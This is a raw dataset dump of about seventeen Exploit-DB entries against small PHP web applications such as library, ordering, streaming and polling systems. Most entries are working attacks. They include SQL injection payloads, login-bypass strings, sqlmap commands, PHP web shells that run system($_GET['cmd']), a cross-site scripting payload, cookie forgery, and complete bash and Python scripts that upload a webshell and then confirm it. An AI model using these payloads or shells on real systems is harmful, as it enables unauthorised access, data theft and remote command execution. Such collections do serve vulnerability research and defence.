deardaniel/secdata-raw huggingface dataset:
Exploit-DB #50053
Description: Online Library Management System 1.0 - 'Search' SQL Injection
Type: webapps
Platform: php
Date: 2021-06-23
Author: Berk Can Geyikci

Exploit:
# Exploit Title: Online Library Management System 1.0 - 'Search' SQL Injection
# Date: 23-06-2021
# Exploit Author: Berk Can Geyikci
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/ols.zip
# Version: 1.0
# Tested on: Windows 10 Pro 64 Bit 10.0.19041 + XAMPP V7.3.28

#Vulnerable URL: http://localhost/ols/index.php?q={random string} 
#Search Parameter 


Request:

POST /ols/index.php?q=find HTTP/1.1
Host: localhost
Content-Length: 16
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://localhost/ols/index.php?q=find
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=msjh9j7ngitv8k79g9or1rov0d
Connection: close

search=a&Search={INJECT HERE}


POC 1:
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: search=AA&Search=') AND 5208=5208#
    Vector: AND [INFERENCE]#

POC 2:
	Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: search=aa&Search=') OR (SELECT 5630 FROM(SELECT COUNT(*),CONCAT(0x[PII_REDACTED],(SELECT (ELT(5630=5630,1))),0x717a766a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- XONS
    Vector: OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

POC 3:
	Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: search=aa&Search=') AND (SELECT 3884 FROM (SELECT(SLEEP(5)))baxK)-- uNHU
    Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

POC 4:
	Type: UNION query
    Title: MySQL UNION query (NULL) - 16 columns
    Payload: search=aa&Search=') UNION ALL SELECT NULL,NULL,CONCAT(0x[PII_REDACTED],0x7665436f[PII_REDACTED]7458444d6c4358416d6a716869586c476d504b[PII_REDACTED]5064414f4e444f,0x717a766a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
    Vector:  UNION ALL SELECT NULL,NULL,[QUERY],NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
Exploit-DB #48928
Description: Online Library Management System 1.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2020-10-23
Author: Jyotsna Adhana

Exploit:
# Exploit Title: Online Library Management System 1.0 - Arbitrary File Upload
# Date: 22-10-2020
# Exploit Author: Jyotsna Adhana
# Vendor Homepage: https://www.sourcecodester.com/php/14545/online-library-management-system-phpmysqli-full-source-code-2020.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14545&title=Online+Library+Management+System+in+PHP%2FMySQLi+with+Full+Source+Code+%282020%29
# Version: 1.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4


#Vulnerable Page: http://localhost/librarysystem/admin/borrower/index.php?view=add

#Exploit
	Fill details
	Create php shell code with below script
		<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
	Click on Browse
	Select php file
	Click Save
	Access below URL:
		http://localhost/librarysystem/admin/borrower/photos/[PII_REDACTED]0814backdoor.php?cmd=dir
	add system commands after cmd to execute it.
Exploit-DB #50561
Description: Online Magazine Management System 1.0 - SQLi Authentication Bypass
Type: webapps
Platform: php
Date: 2021-12-03
Author: Mohamed habib Smidi

Exploit:
# Exploit Title: Online Magazine Management System 1.0 -  SQLi Authentication Bypass
# Date: 01-12-2021
# Exploit Author: Mohamed habib Smidi (Craniums)
# Vendor Homepage: https://www.sourcecodester.com/php/15061/online-magazine-management-system-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/magazines_0.zip
# Version: 1.0
# Tested on: Ubuntu


# Description :

Admin panel authentication can be bypassed due to SQL injection vulnerability in the login form.

# Request :

POST /magazines/classes/Login.php?f=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:93.0)
Gecko/20100101 Firefox/93.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 49
Origin: http://localhost
Connection: close
Referer: http://localhost/magazines/admin/login.php
Cookie: PHPSESSID=863plvf7rpambpkmk2cipijgra
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin


username='+or+1%3D1+limit+1+--+-%2B&password=aaaa
Exploit-DB #41107
Description: Online Mobile Recharge Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-01-18
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: SQL Injection + Authentication Bypass
# Date: 18.01.2017
# Vendor Homepage: http://www.scriptgiant.com/
# Script Name: Online Mobile Recharge
# Script Buy Now: http://www.popularclones.com/products/Online-Mobile-Recharge
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Authentication Bypass :
# http://localhost/[PATH]/admin/ and set Username:'or''=' and Password to 'or''=' and hit enter.
# SQL Injection/Exploit :
# http://localhost/[PATH]/admin/user_edit.php?id=[SQL]
# http://localhost/[PATH]/admin/page.editor.php?id=[SQL]
# E.t.c.... Other files, too. SQL There are security vulnerabilities.
# # # # #
Exploit-DB #49356
Description: Online Movie Streaming  1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2021-01-05
Author: Kshitiz Raj

Exploit:
# Exploit Title: Online Movie Streaming  1.0 - Authentication Bypass
# Date: 2020-12-27
# Exploit Author:  Kshitiz Raj (manitorpotterk)
# Vendor Homepage: https://www.sourcecodester.com/php/14640/online-movie-streaming-php-full-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14640&title=+Online+Movie+Streaming+in+PHP+with+Full+Source+Code
# Version: 1.0
# Tested on: Windows 10/Kali Linux

Step 1 -  Go to url http://localhost/onlinemovie/user-login.php
Step 2 – Enter Username :-   anything@mail.com
Step 3 -  Enter Password - ' or '1'='1'#
Exploit-DB #49421
Description: Online Movie Streaming 1.0 - Admin Authentication Bypass
Type: webapps
Platform: php
Date: 2021-01-14
Author: Richard Jones

Exploit:
# Exploit Title: Online Movie Streaming 1.0 - Admin Authentication Bypass
# Exploit Author: Richard Jones
# Date: 2021-01-13
# Vendor Homepage: https://www.sourcecodester.com/php/14640/online-movie-streaming-php-full-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14640&title=+Online+Movie+Streaming+in+PHP+with+Full+Source+Code
# Version: 1.0
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34

#Exploit URL: http://TARGET/onlinemovies/Plogin.php
 POST /onlinemovies/Plogin.php HTTP/1.1
 Host: TARGET
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 48
 Origin: http://TARGET
 Connection: close
 Cookie: PHPSESSID=p09pmo49cb8dr0s75r1jhttlvj
 Upgrade-Insecure-Requests: 1

 mail=admin%40a.com&pass=ad`'+or+1=1+--+-a&login=
Exploit-DB #49687
Description: Online News Portal 1.0 - 'name' SQL Injection
Type: webapps
Platform: php
Date: 2021-03-19
Author: Richard Jones

Exploit:
# Exploit Title: Online News Portal 1.0 - 'name' SQL Injection
# Exploit Author: Richard Jones
# Date: 2021-03-18
# Vendor Homepage: https://www.sourcecodester.com/php/14741/online-news-portal-using-phpmysqli-free-download-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14741&title=Online+News+Portal+using+PHP%2FMySQLi+with+Source+Code+Free+Download
# Version: 1.0
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34

# Steps
# Add a new product: http://127.0.0.1/pos_inv/supplier/addproduct.php
# Save request in BurpSuite
# Run saved request with sqlmap -r sql.txt


---
Parameter: MULTIPART name ((custom) POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: ----------------------------[PII_REDACTED][PII_REDACTED]691218429
Content-Disposition: form-data; name="name"

aasd' AND (SELECT 1775 FROM (SELECT(SLEEP(5)))Jpba) AND 'EaFY'='EaFY
----------------------------[PII_REDACTED][PII_REDACTED]691218429
Content-Disposition: form-data; name="category"

1
----------------------------[PII_REDACTED][PII_REDACTED]691218429
Content-Disposition: form-data; name="price"

asd
----------------------------[PII_REDACTED][PII_REDACTED]691218429
Content-Disposition: form-data; name="qty"

asd
----------------------------[PII_REDACTED][PII_REDACTED]691218429
Content-Disposition: form-data; name="image"; filename=""
Content-Type: application/octet-stream


----------------------------[PII_REDACTED][PII_REDACTED]691218429--
---
Exploit-DB #51791
Description: Online Nurse Hiring System 1.0 - Time-Based SQL Injection
Type: webapps
Platform: php
Date: 2024-02-09
Author: yozgatalperen1

Exploit:
# Exploit Title: Online Nurse Hiring System 1.0 - 'bookid' Time-Based SQL Injection
# Date: 03/10/2023
# Exploit Author: Alperen Yozgat
# Vendor Homepage: https://phpgurukul.com/online-nurse-hiring-system-using-php-and-mysql
# Software Link: https://phpgurukul.com/?sdm_process_download=1&download_id=17826
# Version: 1.0
# Tested On: Kali Linux 6.1.27-1kali1 (2023-05-12) x86_64 + XAMPP 7.4.30

## Description ##

On the book-nurse.php page, the bookid parameter is vulnerable to SQL Injection vulnerability.

## Proof of Concept ##

# After sending the payload, the response time will increase to at least 5 seconds.
# Payload: 1'+AND+(SELECT+2667+FROM+(SELECT(SLEEP(5)))RHGJ)+AND+'vljY'%3d'vljY

POST /onhs/book-nurse.php?bookid=1'+AND+(SELECT+2667+FROM+(SELECT(SLEEP(5)))RHGJ)+AND+'vljY'%3d'vljY HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 140
Cookie: PHPSESSID=0ab508c4aa5fdb6c55abb909e5cbce09

contactname=test&contphonenum=1111111&contemail=test%40test.com&fromdate=2023-10-11&todate=2023-10-18&timeduration=1&patientdesc=3&submit=
Exploit-DB #49615
Description: Online Ordering System 1.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2021-03-04
Author: Suraj Bhosale

Exploit:
# Exploit Title: Online Ordering System 1.0 - Arbitrary File Upload to Remote Code Execution
# Date: 04/03/2021
# Exploit Author: Suraj Bhosale
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/5125/online-ordering-system-using-phpmysql.html
# Version: 1.0
# Tested on Windows 10, XAMPP


Request:
========

POST /onlineordering/GPST/store/initiateorder.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0)
Gecko/20100101 Firefox/85.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
boundary=--------------------------[PII_REDACTED][PII_REDACTED]80360880
Content-Length: 972
Origin: http://localhost
Connection: close
Referer: http://localhost/onlineordering/GPST/store/index.php
Cookie: PHPSESSID=0es23o87toitba1p1pdmq5i6ir
Upgrade-Insecure-Requests: 1

----------------------------[PII_REDACTED][PII_REDACTED]80360880
Content-Disposition: form-data; name="transnum"

VAF-XAP
----------------------------[PII_REDACTED][PII_REDACTED]80360880
Content-Disposition: form-data; name="select1"

25
----------------------------[PII_REDACTED][PII_REDACTED]80360880
Content-Disposition: form-data; name="pname"

keychain
----------------------------[PII_REDACTED][PII_REDACTED]80360880
Content-Disposition: form-data; name="select2"

1
----------------------------[PII_REDACTED][PII_REDACTED]80360880
Content-Disposition: form-data; name="txtDisplay"

25
----------------------------[PII_REDACTED][PII_REDACTED]80360880
Content-Disposition: form-data; name="note"

test
----------------------------[PII_REDACTED][PII_REDACTED]80360880
Content-Disposition: form-data; name="image"; filename="shell.php"
Content-Type: application/octet-stream

<?php echo "Shell";system($_GET['cmd']); ?>
----------------------------[PII_REDACTED][PII_REDACTED]80360880--

Response:
=========

HTTP/1.1 200 OK
Date: Thu, 04 Mar 2021 13:28:27 GMT
Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.27
X-Powered-By: PHP/7.3.27
Content-Length: 55
Connection: close
Content-Type: text/html; charset=UTF-8

<meta http-equiv="refresh" content="1; url=index.php">

# Uploaded Malicious File can be Found in :
onlineordering\GPST\store\design

# go to
http://localhost/onlineordering/GPST/store/design/shell.php?cmd=hostname
which will execute hostname command.
Exploit-DB #49618
Description: Online Ordering System 1.0 - Blind SQL Injection (Unauthenticated)
Type: webapps
Platform: php
Date: 2021-03-04
Author: Suraj Bhosale

Exploit:
# Exploit Title: Online Ordering System 1.0 - Blind SQL Injection (Unauthenticated)
# Date: 2021-03-04
# Exploit Author: Suraj Bhosale
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/5125/online-ordering-system-using-phpmysql.html
# Version: v1.0
# Vulnerable endpoint: http://localhost/onlineordering/GPST/admin/design.php?id=9
# Vulnerable Parameter: id

*Steps to Reproduce:*
1) Visit
http://localhost/onlineordering/GPST/admin/design.php?id=12'%20and%20sleep(20)%20and%20'1'='1 and you will see a time delay of 20 Sec in response.
2) Now fire up the following command into SQLMAP.

CMD: sqlmap -u  http://localhost/onlineordering/GPST/admin/design.php?id=9
<http://localhost/onlineordering/GPST/admin/design.php?id=9%27%20and%20sleep(20)%20and%20%271%27=%271>*
--batch --dbs

3) Using the above command we will get the name of all the database.
Exploit-DB #8450
Description: Online Password Manager 4.1 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2009-04-16
Author: ZoRLu

Exploit:
[~] Online Password Manager v4.1 Insecure Cookie Handling Vulnerability 
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 15.04.2009
[~]
[~] Home: yildirimordulari.com / dafgamers.com / z0rlu.blogspot.com 
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: Herkes Hecker Olmus :S yav siktirin gidin mal mal gelip msn de konusmayIn :S Herkes Ustune AlInmasIn anlayan anladI :S
[~]
[~] N0T: if you wanna learn hack you must be register to my site yildirimordulari.com
[~] -----------------------------------------------------------


yildirimordulari.com/OPM/main.php

Exploit:

javascript:document.cookie = "auth=[nick]; path=/";


Exploit for demo:

http://www.esoftpro.com/demo/OPM/main.php

javascript:document.cookie = "auth=admin; path=/";


[~] ----------------------------------------------------------------------
[~] Greetz tO: str0ke & DrLy0N & w0cker & Cyber-Zone & stack
[~]
[~] yildirimordulari.com / dafgamers.com / z0rlu.blogspot.com
[~]
[~] ----------------------------------------------------------------------

# milw0rm.com [2009-04-16]
Exploit-DB #32932
Description: Online Photo Pro 2.0 - 'section' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-04-20
Author: Vrs-hCk

Exploit:
source: https://www.securityfocus.com/bid/34625/info

Online Photo Pro is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials.

Online Photo Pro 2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?section=<script>alert(123)</script>
Exploit-DB #51598
Description: Online Piggery Management System v1.0 - unauthenticated file upload vulnerability
Type: webapps
Platform: php
Date: 2023-07-19
Author: 1337kid

Exploit:
#!/bin/bash
# Exploit Title: Online Piggery Management System v1.0 - unauthenticated file upload vulnerability
# Date: July 12 2023
# Exploit Author: 1337kid
# Software Link: https://www.sourcecodester.com/php/11814/online-pig-management-system-basic-free-version.html
# Version: 1.0
# Tested on: Ubuntu
# CVE : CVE-2023-37629
#
# chmod +x exploit.sh
# ./exploit.sh web_url
# ./exploit.sh http://127.0.0.1:8080/

echo "   _____   _____   ___ __ ___ ____   ________ __ ___ ___ "
echo "  / __\\ \\ / / __|_|_  )  \\_  )__ /__|__ /__  / /|_  ) _ \\"
echo " | (__ \\ V /| _|___/ / () / / |_ \\___|_ \\ / / _ \\/ /\\_, /"
echo "  \\___| \\_/ |___| /___\\__/___|___/  |___//_/\\___/___|/_/ "
echo "                         @1337kid"
echo 

if [[ $1 == '' ]]; then
    echo "No URL specified!"
    exit
fi

base_url=$1

unauth_file_upload() {
    # CVE-2023-37629 - File upload vuln
    echo "Generating shell.php"
#===========
cat > shell.php << EOF
<?php system(\$_GET['cmd']); ?>
EOF
#===========
    echo "done"
    curl -s -F pigphoto=@shell.php -F submit=pwned $base_url/add-pig.php > /dev/null
    req=$(curl -s -I $base_url"uploadfolder/shell.php?cmd=id" |  head -1 | awk '{print $2}')
    if [[ $req == "200" ]]; then
        echo "Shell uploaded to $(echo $base_url)uploadfolder/shell.php"
    else
        echo "Failed to upload a shell"
    fi

}

req=$(curl -I -s $base_url | head -1 | awk '{print $2}')
if [[ $req -eq "200" ]]; then
    unauth_file_upload
else
    echo "Error"
    echo "Status Code: $req"
fi
Exploit-DB #51431
Description: Online Pizza Ordering System v1.0 - Unauthenticated File Upload
Type: webapps
Platform: php
Date: 2023-05-05
Author: URGAN

Exploit:
# Exploit Title: Online Pizza Ordering System 1.0 - Unauthenticated File Upload
# Date: 03/05/2023
# Exploit Author: URGAN 
# Vendor Homepage: https://www.sourcecodester.com/php/16166/online-pizza-ordering-system-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-opos.zip
# Version: v1.0
# Tested on: LAMP Fedora Server 27 (Twenty Seven) Apache/2.4.34 (Fedora) 10.2.19-MariaDB PHP 7.1.23 
# CVE: CVE-2023-2246

#!/usr/bin/env python3
# coding: utf-8

import os
import requests
import argparse
from bs4 import BeautifulSoup

# command line arguments
parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', type=str, help='URL with http://')
parser.add_argument('-p', '--payload', type=str, help='PHP webshell')
args = parser.parse_args()

# if no arguments are passed, ask the user for them
if not (args.url and args.payload):
    args.url = input('Enter URL with http://: ')
    args.payload = input('Enter file path PHP webshell: ')

# URL Variables
url = args.url + '/admin/ajax.php?action=save_settings'
img_url = args.url + '/assets/img/'

filename = os.path.basename(args.payload)

files = [
  ('img',(filename,open(args.payload,'rb'),'application/octet-stream'))
]

# send a POST request to the server
resp_upl = requests.post(url, files = files)
status_code = resp_upl.status_code
if status_code == 200:
    print('[+] File uploaded')
else:
    print(f'[-] Error {status_code}: {resp_upl.text}')
    raise SystemExit(f'[-] Script stopped due to error {status_code}.')

# send a GET request to the server
resp_find = requests.get(img_url)

# Use BeautifulSoup to parse the page's HTML code
soup = BeautifulSoup(resp_find.text, 'html.parser')

# get all <a> tags on a page
links = soup.find_all('a')

# list to store found files
found_files = []

# we go through all the links and look for the desired file by its name
for link in links:
    file_upl = link.get('href')
    if file_upl.endswith(filename): # uploaded file name
        print('[+] Uploaded file found:', file_upl)
        file_url = img_url + file_upl # get the full URL of your file
        found_files.append(file_url) # add the file to the list of found files

# if the list is not empty, then display all found files
if found_files:
    print('[+] Full URL of your file:')
    for file_url in found_files:
        print('[+] ' + file_url)
else:
    print('[-] File not found')
Exploit-DB #48671
Description: Online Polling System 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2020-07-15
Author: AppleBois

Exploit:
# Exploit Title: Online Polling System 1.0 - Authentication Bypass
# Date: 2020-07-20
# Author: AppleBois
# Version: NULL
# Software Link: https://www.sourcecodester.com/php/14330/online-polling-system.html
#
# Administration Control Panel || Authentication Bypass
# Unthenticated User perform SQL Injection bypass login mechanism on /admin/checklogin.php
#
######################################################################################
#Vulnerable Code
#
#$myusername=$_POST['myusername'];
#$mypassword=$_POST['mypassword'];
#$encrypted_mypassword=md5($mypassword);
#
#$result=mysqli_query($conn, "SELECT * FROM `tbadministrators` WHERE email='$myusername' and [CREDENTIAL_REDACTED]_mypassword'");
#
#$count=mysqli_num_rows($result);
#
#if($count==1){
#
#$user = mysqli_fetch_assoc($result);
#$_SESSION['member_id'] = $user['member_id'];
#header("location:student.php");
#}
#
######################################################################################


POST /admin/checklogin.php HTTP/1.1
Host: 10.10.10.2:81
Content-Length: 53
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.10.2:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.10.10.2:81/online/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: ASP.NET_SessionId=vbrb31kd3s5hmz3uobg0smck; UserSettings=language=1; dnn_IsMobile=False; .ASPXANONYMOUS=VA9hDh-1Ldg0FPbBfd9HAWSTqKjasYcZMlHQnpPaoR5WQipK7Q_kKnAlAqfWp0WgtO8HXH2_Tsrhfh-Z7137cng_MeEp3aiMPswVEPZc-UOdZQTp0; __RequestVerificationToken_L0ROTg2=Js5PUWl0BiY3kJLdEPU2oEna_UsEFTrNQiGY986uBwWdRyVDxr2ItTPSUBd07QX6rRyfXQ2; USERNAME_CHANGED=; language=en-US; authentication=DNN; .DOTNETNUKE=CC[PII_REDACTED]46773F995D833FACDA646745AE4409516EBF345F1AC725F7D7CE7BFC420BF5EFE9FE2AEC92B04C89CCD2E64C34BA4E195D7D8D6EED7892574DB3FF02599F; ICMSSESSION=mgnp26oubn7hfc590q6j5c9o70; PHPSESSID=1gpgmmltf6uk3ju3aakgd0s8m5
Connection: close

myusername=' or 1=1#&my[CREDENTIAL_REDACTED]=Login